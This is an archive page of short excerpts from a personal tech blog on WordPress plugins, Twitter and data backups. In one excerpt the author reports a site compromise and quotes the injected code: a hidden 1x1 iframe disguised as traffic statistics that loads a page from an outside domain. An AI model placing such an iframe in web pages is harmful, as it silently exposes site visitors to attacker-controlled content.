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annoying html injection in wordpress

September 13, 2009

two of my old posts at my geekblog Haibane.info dating from November 2007 had some injected HTML code in them. The injected code read as follows: <!– Traffic Statistics –> <iframe src=http://www.wp-stats-php.info/iframe/wp-stats.php width=1 height=1 frameborder=0></iframe> <!– End Traffic Statistics –> I only became aware of it when Google flagged my archives for that month as [...]

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Tags to Hashtags

August 21, 2009

I’ve written a new plugin for wordpress entitled “AHP Tags to Hashtags” for use with WordPress and WordPress MU. The plugin can be found for now at pastebin here, I will update when it’s been added to the official wordpress plugin repository. The plugin appends the tags for each post to the post title in [...]

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backups should be local, not to the cloud

August 12, 2009

One of the lessons of Friendfeed’s buyout by Facebook is that the cloud is not a good place for backup. In an era of the sub-$100 terabyte, the idea that the best place for our data should be anywhere other than right at home is a strange one. Cloud backup is useful as a meta-backup [...]

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One Million Strong for @aplusk

April 17, 2009

Ashton Kutcher has done it – he has amassed one million followers. He’s using this publicity to donate mosquito nets to African children, but that’s just scratching the surface of what is possible. Use your imagination.. what could he do, with his combination of celebrity and follower clout? – he could raise money for a [...]

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The End of Twitter: You can stop tweeting now

March 20, 2009

This is the Final Tweet to End All Tweets. Twitter is Over. This is Twitter’s End. There are No More Tweets. (inspired by the eoti)

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the WhiteHouse.gov blog: open government

January 21, 2009

Among the inaugural festivities, the official web site of the White House underwent a transition of its own. The site is now built around a central blog, which is a presidential first and a definite sign of the times. The first post lays out the purpose of the blog in detail: Just like your new [...]

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Backing up your tweets

November 12, 2008

Twitter: over one billion tweets served. Actually, it’s probably more than that, since the count is from GigaTweet, an external service and not an official count. If we do the math, that comes out to: 140 chars per tweet x 1 byte per char x 10^9 tweets = 140 billion bytes = 130.4 GB worth [...]

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TwiTip

November 3, 2008

Darren Rowse of ProBlogger fame has launched a new blog, TwiTip, aimed at introducing Twitter to new users. Darren always has an interesting and insightful take on blogging and so I think his insights will be worth reading even if you’re a veteran twitter user. Given how much I blog about twitter I can fully [...]

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AHP Sitewide Recent Posts plugin for WordPress MU

September 17, 2008

Building on the venerable Recent Posts plugin by Ron and Andrea, I have created an extended version that offers a lot more user control over output, including gravatar support. The basic features are: excludes posts on main blog (blog ID = 1) excludes first posts (Hello, world) on user blogs (post ID = 1) option [...]

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RSS-based comment moderation?

August 1, 2008

I just left the following ticket on WordPress Trac, as a feature request: RSS feeds are already generated for posts and comments by default. What would be very helpful woudl be a dedicated RSS feed for comments in the moderation queue. This would permit efficient queue processing without having to log into the Dashboard. For [...]

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